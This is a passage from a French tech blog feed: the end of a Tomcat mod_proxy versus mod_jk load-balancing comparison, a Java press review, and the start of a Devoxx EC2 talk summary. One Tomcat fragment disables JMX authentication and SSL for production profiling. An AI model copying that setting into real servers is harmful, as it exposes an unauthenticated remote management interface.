</pre><p>Vous pouvez le constater, la configuration est parfaitement intégrée à la configuration standard d&#8217;Apache HTTPD. Les équipes de production n&#8217;auront à priori pas de grandes difficultés à prendre en main ce type de configuration qui nécessite seulement de savoir parcourir la <a
href="http://httpd.apache.org/docs/2.2/" title="documentation Apache" >documentation Apache</a> déjà bien connue des administrateurs.</p><h3><a
name="modjk"></a>mod_jk</h3><p>La première étape consiste à configurer le serveur Apache pour qu&#8217;il utilise le mod_jk. Tout commence par le chargement du module avec la directive <code>LoadModule</code>. Ensuite nous fournissons le chemin du deuxième fichier de configuration définissant les <code>workers</code>.  La directive <code>JkMount</code> permet ensuite d&#8217;associer un worker du mod_jk à un pattern d&#8217;url du serveur. Pour chaque requête dont l&#8217;URL correspond au pattern, Apache va déléguer le traitement au mod_jk. Nous montons d&#8217;abord le worker <code>jkstatus</code> sur <code>/jkmanager</code> en autorisant l&#8217;accès uniquement depuis le système local. C&#8217;est ensuite au tour du <code>loadbalancer</code> qui servira notre application.</p><p><strong>Configuration avec mod_jk &#8211; httpd.conf</strong></p><pre class="brush: xml; title: ; notranslate">
# LOAD MODULES
LoadModule jk_module libexec/apache2/mod_jk.so
# MOD_JK CONFIGURATION FILE
JkWorkersFile /etc/apache2/other/workers.properties
# MOD_JK PROPRIETARY LOG FILE
JkLogFile     /var/log/apache2/mod_jk.log
# NEEDED ON MAC SNOW LEOPARD
JkShmFile     /var/log/apache2/
# STATUS AND MONITORING
JkMount /jkmanager/* jkstatus
&lt;Location /jkmanager&gt;
    Order deny,allow
    Deny from all
    Allow from localhost
&lt;/Location&gt;
# APPLICATIONS CONFIGURATION
JkMount /my-application/* loadbalancer
</pre><p>Il faut maintenant configurer le mod_jk proprement dit dans son fichier de configuration spécifique. Il s&#8217;agit d&#8217;une liste de propriétés commençant toujours par <code>worker.</code>. La propriété <code>worker.list</code> fournit les noms des workers actifs. Le nom est ensuite utilisé pour paramétrer le worker avec des clés de la forme <code>worker.nomWorker.parametre</code>. Le premier worker activé <code>jkstatus</code> utilise le type spécial <code>status</code> qui correspond à l&#8217;interface de suivi et de gestion du mod_jk. Le deuxième worker <code>loadbalancer</code> est en fait chargé de répartir les sessions entre le worker1 et le worker2 via le type <code>lb</code>. Ce sont finalement les workers 1 à n qui assurent le transport des requêtes sur AJP1.3  vers le port 8009 d&#8217;un Tomcat distant.<br
/> <strong>Configuration avec mod_jk &#8211; workers.properties</strong></p><pre class="brush: xml; title: ; notranslate">
# WORKERS AND PSEUDO WORKER
worker.list=jkstatus, loadbalancer
# STATUS AND MANAGEMENT PSEUDO WORKER
worker.jkstatus.type=status
# WORKER 1 TO N
worker.worker1.type=ajp13
worker.worker1.host=node-1
worker.worker1.port=8009
# ...
worker.worker2.port=8009
worker.worker2.host=node-n
worker.worker2.type=ajp13
# LOAD BALANCER PSEUDO WORKER
worker.loadbalancer.type=lb
worker.loadbalancer.balance_workers=worker1,worker2
</pre><p>Avec ses deux fichiers de configurations séparés et la syntaxe <em>&laquo;&nbsp;rustique&nbsp;&raquo;</em> du <code>worker.properties</code>, la configuration est définitivement le point faible du mod_jk. L&#8217;un des seuls avantages réside dans le nombre impressionnant de paramètres supportés qui permet un paramétrage fin si le besoin s&#8217;en fait sentir. Si seulement nous n&#8217;étions pas forcés à tant de verbosité !</p><h2><a
name="Interfacesgraphiques"></a>Interfaces graphiques</h2><p>Les deux modules fournissent des interfaces web pour assurer la supervision du load-balancer. Cette fois, le mod_proxy se contente de fournir des statistiques réduites dans une interface minimaliste. L&#8217;interface liste principalement le statut de chaque nœud du load-balancer ainsi que la quantité de données envoyée et reçue par nœud.</p><p> <a
href="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-server-status-proxy-balancer.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-server-status-proxy-balancer.png" alt="screenshot-apache-server-status--proxy-balancer" title="screenshot-apache-server-status--proxy-balancer" width="450" class="aligncenter size-medium wp-image-3959" /></a></p><p>Outre le suivi des statistiques du load-balancer, le Balancer Manager permet aussi de faire des modifications à chaud, éditer les workers, les passer en offline, voire même changer la méthode de répartition utilisée.</p><p><a
href="http://blog.xebia.fr/wp-content/uploads/2010/02/loadBalancerManagerModProxy.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2010/02/loadBalancerManagerModProxy.png" alt="screenshot-apache-server-status--balancer-manager" title="screenshot-apache-server-status--balancer-manager"  class="alignnone size-medium wp-image-3964"  width="450"/></a></p><p>De son côté, le mod_jk prouve sa maturité avec son interface <em>rustique</em> elle aussi, mais plus voire trop complète. Elle est composée de plusieurs pages dont une page d&#8217;accueil similaire en tout point à l&#8217;interface du mod_proxy. L&#8217;avantage réside dans la fourniture d&#8217;une page détaillant l&#8217;état complet pour chaque nœud.</p><p>Mais le mod_jk ne se contente pas de cela : il fournit aussi une page permettant de modifier à chaud la configuration du load-balancer. Il est parfaitement envisageable pour le déploiement en production d&#8217;une nouvelle version de l&#8217;application de couper les nœuds un à un au moment de leur mise à jour puis de les réactiver sans interruption du service.</p><p>Attention toutefois, car les modifications faites par ce biais sont uniquement enregistrées en mémoire, la nouvelle configuration sera perdue au prochain redémarrage d&#8217;Apache.</p><p><a
href="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-jkmanager.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2010/02/screenshot-apache-jkmanager.png" alt="screenshot-apache-jkmanager" title="screenshot-apache-jkmanager" width="450" class="alignnone size-medium wp-image-3966" /></a></p><p>La mince différence vient probablement de la jeunesse de la solution de load-balancing du mod_proxy face à la longue expérience de production du mod_jk. Mais elle ne saurait justifier une préférence pour l&#8217;un des deux modules, qui sur ce point sont très proches.</p><h2><a
name="LoadBalancingetgestionderreur"></a>LoadBalancing et gestion d&#8217;erreur</h2><p>Outre la configuration et l&#8217;interface graphique, les deux solutions disposent de quelques fonctions avancées notamment en ce qui concerne la gestion d&#8217;erreur et la gestion des sockets réseaux.  Les deux modules utilisent des pools de connexion rangés par Thread du serveur Apache et par membres du cluster.<br
/> Avec le mod_proxy, il est possible de choisir parmi trois algorithmes de répartition de charge :</p><ul><li>Par requête : la charge est répartie pour chaque requête entrante en fonction de la session si elle existe.</li><li>Par trafic réseau : les requêtes sont envoyées vers le membre du cluster ayant reçu le moins de trafic.</li><li>Par taux d&#8217;occupation : la charge est répartie en fonction du nombre de requêtes en cours de traitement ou en attente.</li></ul><p>En ce qui concerne la gestion d&#8217;erreur, il n&#8217;y a pas grand chose à dire car il n&#8217;y a pas grand chose de fait. Si un timeout claque, un certain nombre de tentatives de reconnexion seront réalisées jusqu&#8217;à ce que le noeud soit marqué en erreur et n&#8217;en décolle plus.</p><p>C&#8217;est sur la gestion d&#8217;erreur que le mod_jk possède une plus grande sophistication que son récent concurrent.<br
/> Tout d&#8217;abord le protocole AJP fournit un mécanisme de <em>health check</em> (CPing/CPong) qui permet de tester l&#8217;état du lien entre le serveur frontal et un membre du cluster. Cependant, c&#8217;est beaucoup plus limité que les <em>heart beat</em> des load balancer hardware, il n&#8217;est pas possible de tester une url pour détecter des indisponibilités applicatives (échec de démarrage de la web app, web app KO à cause de l&#8217;indisponibilité d&#8217;un backend clef).<br
/> D&#8217;autre part, le module fait une distinction entre les erreurs locales temporaires qui sont sans impact particulier, un code d&#8217;erreur HTTP par exemple, et les erreurs globales qui indiquent que le serveur est clairement en erreur et ne recevra plus de nouvelles requêtes. Il existe un système d&#8217;escalade qui, en cas de répétition trop fréquente d&#8217;erreurs locales sur un noeud se charge de le passer en erreur globale. Le module se charge de réactiver le noeud en mode recovery après un délai paramétré.</p><p>Côté répartition de charge, mod_jk apporte un dernier algorithme de répartition reposant sur le nombre de sessions HTTP en cours par serveur. Cette méthode est relativement récente puisqu&#8217;elle est apparue dans la version 1.2.20 du mod_jk, actuellement en version 1.2.29. Elle est recommandée pour les applications chargeant fortement la session et de ce fait, supportant un nombre limité de sessions par serveur ; ce cas d&#8217;utilisation est assez marginal.<br
/> Dans les deux modules, l&#8217;algorithme de répartition est pondéré par un facteur nommé &laquo;&nbsp;lbfactor&nbsp;&raquo;, qui permet d&#8217;appliquer des quotas de travail aux serveurs. Ce système s&#8217;avère utile si les serveurs sont de puissances différentes par exemple.</p><p>Le mod_jk marque ici un petit point sur le mod_proxy grâce à sa gestion d&#8217;erreur plus fine. Attention aux effets de bord, le <em>retry</em> sur timeout en a surpris plus d&#8217;un et l&#8217;éviction de serveurs tomcat pour cause de répétition d&#8217;erreur est un beau sujet de déni de service <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p><p>Pour le reste, le mod_proxy colle au fonctionnement du mod_jk, ce qui ne manquera pas de faciliter son utilisation aux habitués du mod_jk.</p><h2><a
name="Exploitationetdiagnostiquedesp"></a>Exploitation et diagnostic des problèmes</h2><p>mod_proxy_http présente sur mod_jk le très grand avantage d&#8217;utiliser un protocole standard, HTTP, connu de tous les acteurs d&#8217;un système d&#8217;information alors que mod_jk repose sur le protocole AJP que quasiment personne ne connait. Les administrateurs systèmes et réseaux sont habitués à HTTP et notamment à ses connections persistantes (aka HTTP keepAlive) ; ils savent ajuster leurs algorithmes de load balancing, les timeouts des firewalls et le dimensionnement des piles tcp/ip des serveurs (<code>ulimit</code>, <code>tcp_keepalive_intvl</code>, <code>tcp_tw_bucket</code>, etc).</p><p>Un autre atout de mod_proxy est la facilité de diagnostic. N&#8217;importe quel acteur du système d&#8217;information peut utiliser <code>curl</code>, <code>wget</code>, <code>telnet</code>, <code>elinks</code> voire wireshark pour <em>troubleshooter</em> un problème de communication HTTP; ce n&#8217;est pas le cas avec le protocole AJP qui n&#8217;est pas <em>human readable</em> et encore moins <em>human writable</em>. Choisir AJP mérite de former les administrateurs systèmes et réseaux et de prévoir des outils de tests permettant de requêter un connecteur AJP mais ce n&#8217;est hélas que très rarement fait.</p><p>En cas de problème réseau avec HTTP comme avec AJP, n&#8217;oubliez pas que désactiver les connections persistantes simplifie grandement les investigations et n&#8217;a rien de scandaleux en 2010 (cf <a
href="http://haproxy.1wt.eu/" title="HAProxy" >HAProxy</a>) ; c&#8217;est &laquo;&nbsp;<code>disablereuse=On</code>&nbsp;&raquo; pour mod_proxy_http et  &laquo;&nbsp;<code>JkOptions +DisableReuse</code>&nbsp;&raquo; pour mod_jk <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p><h2><a
name="Conclusion"></a>Conclusion</h2><p>Avec sa simplicité de configuration, sa répartition de charge calquée sur le mod_jk, le mod_proxy conviendra parfaitement dans la grande majorité des cas. Il s&#8217;accommode de clusters répartissant la charge sur plusieurs noeuds ou bien en tant que simple reverse proxy. La cerise sur le gateau étant l&#8217;utilisation du protocole HTTP qui permet de garantir la portabilité des services et facilite grandement l&#8217;analyse du trafic.</p><p><strong>A nos yeux, avec l&#8217;intégration native de mod_proxy_http et mod_proxy_balancer à Apache, il n&#8217;y a plus de justification à ajouter le module additionnel mod_jk ni d&#8217;introduire le protocole méconnu AJP. Les optimisations d&#8217;AJP ne sont plus de mise aujourd&#8217;hui et ne justifient donc pas l&#8217;utilisation d&#8217;un mod_jk.</strong></p><p>Il reste, dans les deux cas, quelques efforts à faire pour permettre de plus facilement monter des serveurs à chaud dans un cluster. Pour la haute disponibilité sans perte, il faudra mettre en place un <a
href="http://tomcat.apache.org/tomcat-6.0-doc/cluster-howto.html" title="cluster Tomcat" >cluster Tomcat</a> assurant la réplication des sessions utilisateur entre les serveurs. Encore faut-il en avoir vraiment besoin &#8230;</p><p>Attention, la recommandation de Tomcat est encore le mod_jk et, il est important de garder fonctionnel ce qui marche déjà. Donc, quoiqu&#8217;il arrive, si vous avez déjà une solution fonctionnelle avec le mod_jk, inutile de migrer. Pour ce qui est de l&#8217;interface et de la gestion d&#8217;erreur, nous parions sur l&#8217;avenir du mod_proxy qui est en développement intensif et bénéficie des corrections de bug de son ainé. Reste un nouveau venu dans le paysage développé par Jboss qui attire déjà notre attention c&#8217;est le <a
href="http://www.jboss.org/mod_cluster/" title="modcluster" >mod_cluster</a> actuellement, il n&#8217;est utilisable qu&#8217;avec Jboss AS. L&#8217;avantage de cette nouvelle solution en devenir est de suivre le cycle de vie des applications via un protocole spécifique MCMP reposant tout de même sur HTTP.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/feed/</wfw:commentRss> <slash:comments>75</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/</link> <comments>http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/#comments</comments> <pubDate>Mon, 25 Jan 2010 19:17:14 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Firebug]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Pair programming]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3867</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Tomcat 6.0.24, version mineure mais non négligeable Agilité Le pair-programming comment ça marche ? RIA Firebug passe en version 1.5 Actualité éditeurs / SSII Tomcat 6.0.24, version mineure mais non négligeable Nous allons commencer par un clin d&#8217;oeil humoristique, même [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/#Tomcatversionmineuremaisnonngl">Tomcat 6.0.24, version mineure mais non négligeable</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/#Lepairprogrammingcommentamarch">Le pair-programming comment ça marche ?</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/#Firebugpasseenversion">Firebug passe en version 1.5</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="Tomcatversionmineuremaisnonngl"></a>Tomcat 6.0.24, version mineure mais non négligeable</h4><p>Nous allons commencer par un clin d&#8217;oeil humoristique, même les plus grands ont des difficultés à <code>builder</code>, le projet Tomcat a <em>brulé</em> trois tags subversion pour faire une release sans défaut, il y a eu de nombreux problème d&#8217;adaptation des sauts de ligne aux plateformes Windows/Unix-Linux <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p><p>Ensuite, la sécurité avec la correction de la faille <a
href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555" title="CVE20093555" >CVE-2009-3555</a> appelée <em>&laquo;&nbsp;SSL-Man-In-The-Middle attack&nbsp;&raquo;</em> qui intéressera ceux qui gèrent SSL avec Tomcat.</p><p>Enfin, nous avons retenu deux nouvelles fonctionnalités qui nous paraissent particulièrement utiles :</p><p>L&#8217;intégration de la <a
href="http://tomcat.apache.org/tomcat-6.0-doc/config/valve.html" title="<code>RemoteIpValve</code>" ><code>RemoteIpValve</code></a> pour connaitre l'adresse IP de l'internaute et le protocole (http/https) utilisé lorsque Tomcat est précédé de load balancers et/ou d'un serveur web. Nous en avons longuement parlé dans <a
href="http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/" title="Tomcat : Adresse IP de l'internaute, load balancer, reverse proxy et header Http X-Forwarded-For" >Tomcat : Adresse IP de l'internaute, load balancer, reverse proxy et header Http X-Forwarded-For</a> et dans <a
href="http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/" title="Tomcat SSL communications scurises et XForwardedProto" >Tomcat, SSL, communications sécurisées et X-Forwarded-Proto</a>.<br
/> Exemple :<br
/> Fragment de server.xml pour déclarer le RemoteIpValve avec utilisation de X-Forwarded-Proto :</p><pre class="brush: xml; title: ; notranslate">
&lt;Valve className=&quot;org.apache.catalina.valves.RemoteIpValve&quot; protocolHeader=&quot;X-Forwarded-Proto&quot; /&gt;
&lt;!-- AccessLogValve must be declared after RemoteIpValve --&gt;
&lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot; directory=&quot;logs&quot;
       prefix=&quot;localhost_access_log.&quot; suffix=&quot;.txt&quot; pattern=&quot;common&quot; resolveHosts=&quot;false&quot;/&gt;
</pre><p>L'intégration du <a
href="http://tomcat.apache.org/tomcat-6.0-doc/config/listeners.html" title="<code>JmxRemoteLifecycleListener</code>" ><code>JmxRemoteLifecycleListener</code></a> qui permet de figer le deuxième port d'écoute RMI et ainsi se connecter avec <a
href="https://visualvm.dev.java.net/" title="VisualVM" >VisualVM</a> et un tunnel SSH pour passer les firewalls. A nous le profiling sur les serveurs de production ! <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> Mais attention aux chausses-trappes <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> :</p><ul><li>il faut télécharger le <a
href="http://apache.cict.fr/tomcat/tomcat-6/v6.0.24/bin/extras/catalina-jmx-remote.jar" title="catalinajmxremotejar" >catalina-jmx-remote.jar</a> et le copier sous <code>$TOMCAT_HOME/lib</code>,</li><li>un vilain problème de UnmarshalException/ClassNotFoundException dans les clients comme Hyperic HQ si vous activez <code>useLocalPorts</code> (contournement <a
href="http://markmail.org/message/enpid5dli75ynjfd" title="ici" >ici</a>),</li><li>les propriétés à définir dans <code>setenv.sh</code> (ou <code>catalina.properties</code>) en plus de la déclaration dans <code>server.xml</code>.</li></ul><p>L'occasion d'une contribution <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ?<br
/> Exemple :<br
/> Fragment de setenv.sh pour déclarer des variables d'environnement de JmxRemoteLifecycleListener :</p><pre class="brush: java; title: ; notranslate">
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false
</pre><p>Fragment de server.xml pour déclarer le JmxRemoteLifecycleListener :</p><pre class="brush: xml; title: ; notranslate">
&lt;Listener className=&quot;org.apache.catalina.mbeans.JmxRemoteLifecycleListener&quot;
          rmiRegistryPortPlatform=&quot;6969&quot;
          rmiServerPortPlatform=&quot;7969&quot;
          useLocalPorts=&quot;true&quot; /&gt;
</pre><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="Lepairprogrammingcommentamarch"></a>Le pair-programming comment ça marche ?</h4><p>Stuart Wray de la Royal School of Signals, s'est fendu d'un article sur le fonctionnement du pair-programming dans l'édition de Janvier du magazine de l'IEEE. Dans l'article, il liste quatre bonne pratiques permettant de garantir selon ses termes, l'efficacité du développement par pair. Il ne s'agit pas de simplement développer à deux l'un au clavier et l'autre le doigt sur l'écran.</p><ul><li>Dialogue entre les développeurs :<br
/> Il est important de verbaliser les problèmes rencontrés de façon intelligible. Présenter une difficulté à un tiers permet de garder le focus dessus et l'effort de présentation force à clarifier la situation. Il faut sortir la tête du mur pour résoudre les problèmes et parfois le seul fait de présenter le blocage permet de trouver la solution. L'auteur identifie la conversation comme un point clé permettant aux paires d'être et de rester productifs.</li><li>Voir plus de détails :<br
/> Un phénomène bien connu de tous, deux personnes ne voient pas les même choses au même moment. C'est à cela que sert la relecture sur le blog Xebia. Il y a toujours des fautes d'inattention, liés à des centre d'intérêts différents par exemple. En paire, un développeurs trouve plus rapidement certaines erreurs que son collègue qui en voit d'autres. Celui qui ne tape pas au clavier repère toujours beaucoup plus rapidement les coquilles.<br
/> Stuart lève notre attention sur la fatigue des paires, en travaillant ensemble, les développeurs commencent à repérer les mêmes erreurs et à fixer leur attention sur les mêmes points. La productivité est alors en chute libre et l'apport du pair-programming se perd. Il faut prévoir des rotations régulière entre les paires pour se prémunir contre cet effet de bord.</li><li>Combattre les mauvaises pratiques :<br
/> Les deux développeurs doivent prendre l'engagement de coder en respectant une convention, en utilisant des bonnes pratiques. Chacun est juge du travail de son voisin, pourtant a terme c'est le travail des deux ensemble qui sera jugé. Cet engagement nécessaire des deux parties augmente la responsabilité de chacun sur la qualité du code produit. Posez vous la question : faites vous plus propre en développant seul dans votre cave ou en développant sous le regard attentif de votre paire ?</li><li>Partager et juger l'expertise :<br
/> Aucun individu n'a la même productivité et la différence varie au moins d'un facteur de un à dix entre deux individus. Cela implique des erreurs d'estimation temporelle par exemple si votre héros Java qui code les yeux fermés annonce une journée pour une tache et qu'elle est réalisée par un autre le temps passé ne sera sûrement pas d'une journée (Tous le monde ne peut pas coder les yeux fermés). C'est seulement en collaborant étroitement avec un développeur qu'il devient possible de juger de ses capacités. Mais avec le pair programming et la rotation des paires chaque développeur connait les domaines d'expertise des autres et sait se positionner par rapport aux autres. Les estimations seront donc plus réaliste dans une équipe en pair programming.</li></ul><ul><li><a
href="http://www.infoq.com/news/2010/01/how-pair-programming-works" title="La news sur InfoQ" >La news sur InfoQ</a></li><li><a
href="http://www.computer.org/cms/Computer.org/ComputingNow/homepage/2010/0110/W_SW_PairProgramming.pdf" title="Larticle complet" >L'article complet</a></li></ul><h3><a
name="RIA"></a>RIA</h3><h4><a
name="Firebugpasseenversion"></a>Firebug passe en version 1.5</h4><p><a
href="http://getfirebug.com/" title="Firebug" >Firebug</a>, le plugin Firefox ultime pour le débogage de nos applications web, passe en <a
href="http://blog.getfirebug.com/2010/01/15/firebug-1-5-0/" title="version 1.5" >version 1.5</a> (<em>via <a
href="http://ajaxian.com/archives/firebug-1-5-new-features-and-ready-for-firefox-3-6" title="Ajaxian" >Ajaxian</em></a>).<br
/> Pour rappel, cet outil permet d'inspecter notre code HTML, CSS et Javascript, de l'éditer avec répercutions direct sur la page, d'analyser les flux XMLHttpRequest avec le nombre d'appels effectués ainsi que leur durée... En bref, un outil incontournable !</p><p>Les corrections de bugs sont <a
href="https://wiki.mozilla.org/Firebug/MarchOfTheFirebugs" title="nombreuses" >nombreuses</a> et les nouvelles fonctionnalités sont aussi au <a
href="http://getfirebug.com/wiki/index.php/Firebug_Release_Notes#Firebug_1.5" title="rendez-vous" >rendez-vous</a>. On appréciera ainsi un mode d'inspection encore plus robuste, une boîte d'information rapide lors de l'inspection, l'ajout du <a
href="http://blog.getfirebug.com/2009/07/24/firebug-1-5a19/" title="bouton de persistance" >bouton de persistance</a>, le blocage du Javascript et des évènements sur un breakpoint, les nombreux <a
href="http://getfirebug.com/doc/breakpoints/demo.html" title="nouveaux breakpoints" >nouveaux breakpoints</a> ou bien encore l'<a
href="http://www.softwareishard.com/blog/firebug/xml-explorer-for-firebug/" title="explorateur XML" >explorateur XML</a> pour une réponse de type XML. Ces deux derniers points seront à coup sûr des fonctionnalités clés pour le débogage de nos applications.</p><p>Si vous ne le possédez pas encore, c'est par <a
href="https://addons.mozilla.org/fr/firefox/addon/1843" title="ici" >ici</a> que cela se passe.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/01/25/revue-de-presse-xebia-144/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Devoxx &#8211; Jour 1 &#8211; Applications robustes avec Amazon EC2</title><link>http://blog.xebia.fr/2009/11/18/devoxx-jour-1-applications-robustes-avec-amazon-ec2/</link> <comments>http://blog.xebia.fr/2009/11/18/devoxx-jour-1-applications-robustes-avec-amazon-ec2/#comments</comments> <pubDate>Wed, 18 Nov 2009 00:01:58 +0000</pubDate> <dc:creator>Michaël Figuière</dc:creator> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Amazon]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Batchs]]></category> <category><![CDATA[CloudFoundry]]></category> <category><![CDATA[CloudFront]]></category> <category><![CDATA[Devoxx]]></category> <category><![CDATA[EC2]]></category> <category><![CDATA[Haute disponibilité]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[PaaS]]></category> <category><![CDATA[S3]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[SimpleDB]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3160</guid> <description><![CDATA[Amazon Elastic Compute Cloud (aka EC2), et de manière générale les Amazon Web Services, ont attiré l&#8217;attention de nombreuses personnes pour la flexibilité de déploiement qu&#8217;ils permettent. Cette plate-forme de Cloud Computing a recourt à la virtualisation pour créer à la demande des instances de serveurs directement utilisables. Il s&#8217;agit donc d&#8217;une approche totalement différente [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/ec2_1.jpg" alt="Devoxx Chris Richardson EC2" style="margin: 1em 1em 1em 2em; float: right;" /></p><p><a
href="http://en.wikipedia.org/wiki/Amazon_EC2" title="Amazon Elastic Compute Cloud" >Amazon Elastic Compute Cloud</a> (aka EC2), et de manière générale les <a
href="http://en.wikipedia.org/wiki/Amazon_Web_Services" title="Amazon Web Services" >Amazon Web Services</a>, ont attiré l&#8217;attention de nombreuses personnes pour la flexibilité de déploiement qu&#8217;ils permettent.</p><p>Cette plate-forme de Cloud Computing a recourt à la virtualisation pour créer à la demande des instances de serveurs directement utilisables. Il s&#8217;agit donc d&#8217;une approche totalement différente des hébergements traditionnels.</p><p>Lorsque l&#8217;on parle d&#8217;EC2, il est souvent question du déploiement de sites Web de type réseaux sociaux pouvant connaître de grands pics de trafic imprévisibles. On met alors en avant <em>l&#8217;élasticité</em> de configuration qu&#8217;apporte EC2, par définition. En revanche, il est rarement question des problématiques de haute disponibilité ou des bonnes pratiques à suivre pour les déploiements d&#8217;architectures <em>multi-tiers</em> classiques.<br
/> De même, au-delà de l&#8217;élasticité, les justifications du déploiement sur EC2 sont en général peu abordées.</p><p>Chris Richardson, créateur de <a
href="http://www.cloudfoundry.com/" title="CloudFoundry" >CloudFoundry</a> (récemment racheté par SpringSource), nous a offert une présentation très complète sur l&#8217;ensemble de ces sujets rarement abordés autour des Web Services d&#8217;Amazon.</p><p>&nbsp;</p><h3><a
name="LechoixdECpourledploiementdapp"></a>Le choix d&#8217;EC2 pour le déploiement d&#8217;applications Web</h3><p>Le déploiement d&#8217;une application Web sur EC2 se justifie par les avantages suivants :</p><ul><li>Mises en production simplifiées et moins sujettes aux erreurs humaines,</li><li>Possibilité d&#8217;effectuer des <em>snapshots</em> de l&#8217;état d&#8217;un serveur à un instant donné, de le sauvegarder pour le restaurer plus tard en cas de défaillance,</li><li>Réduction des tâches de maintenances par rapport à un hébergement interne à l&#8217;entreprise (cet avantage peut être invoqué pour tout type d&#8217;hébergement externalisé),</li><li>Coût réduit <em>dans certains cas</em>.</li></ul><p>Le système de facturation particulier d&#8217;Amazon fait que le <a
href="http://fr.wikipedia.org/wiki/Co%C3%BBt_total_de_possession" title="cot total de possession" >coût total de possession</a> peut être avantageux dans une configuration connaissant des pics de trafic importants.</p><p>La mise en production est quant à elle simplifiée par la possibilité d&#8217;effectuer un déploiement préliminaire sur un clone de l&#8217;environnement de production : on double alors le nombre d&#8217;instances utilisées. Une fois le déploiement terminé, testé, et validé, il suffit de diriger le trafic vers l&#8217;infrastructure clone puis d&#8217;<em>éteindre</em> l&#8217;infrastructure initiale. On reproduit ainsi le mécanisme de <em>double buffer</em> utilisé en programmation graphique.</p><p>En contrepartie, EC2 possède certaines limitations :</p><ul><li>Coût supérieur à un hébergement classique pour les instances utilisées 24&#215;7,</li><li>Impossible, actuellement  de créer des instances de taille très importante (taille mémoire maximale de 68 Go, ce qui peut être limitant pour les très grosses bases de données),</li><li>Absence de stockage à accès rapide : on ne trouve pas sur EC2 d&#8217;équivalent à RAID SAS / SCSI,</li><li>EC2 ne dispose pas de la certification PCI requise pour les paiements électroniques.</li></ul><h3><a
name="Architecturehautedisponibilits"></a>Architecture haute disponibilité sur EC2</h3><p>Les applications Web Java EE fonctionnant sur des middlewares comme Tomcat nécessitent un déploiement en <em>cluster</em> pour assurer leur haute disponibilité en cas de faille de l&#8217;un des nœuds. Pour des raisons de performance, de flexibilité de configuration, ou pour d&#8217;autres contraintes techniques (nécessité d&#8217;une gestion particulière des <em>sticky sessions</em>, gestion de la compression deflate/gzip, mise en cache, environnement Web hétérogène, &#8230;), il est courant de mettre en place des serveurs frontaux Apache assurant un <em>load balancing</em>. Ces serveurs Apache sont alors eux-même précédés d&#8217;un <em>load balancer</em> afin d&#8217;exposer une IP unique aux visiteurs.</p><p>Chris Richardson nous montre alors que ce type de configuration est tout à fait réalisable avec l&#8217;infrastructure d&#8217;Amazon. Il prend alors la forme suivante :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/ec2_2.png" alt="devoxx infrastructure Amazon"/></div><p>Sur EC2, chacun des tiers de cette architecture soulève des problématiques distinctes.</p><h4><a
name="Apacheetloadbalancing"></a>Apache et load balancing</h4><p>Amazon fournit un mécanisme de <em>load balancing</em> clé en main : l&#8217;<a
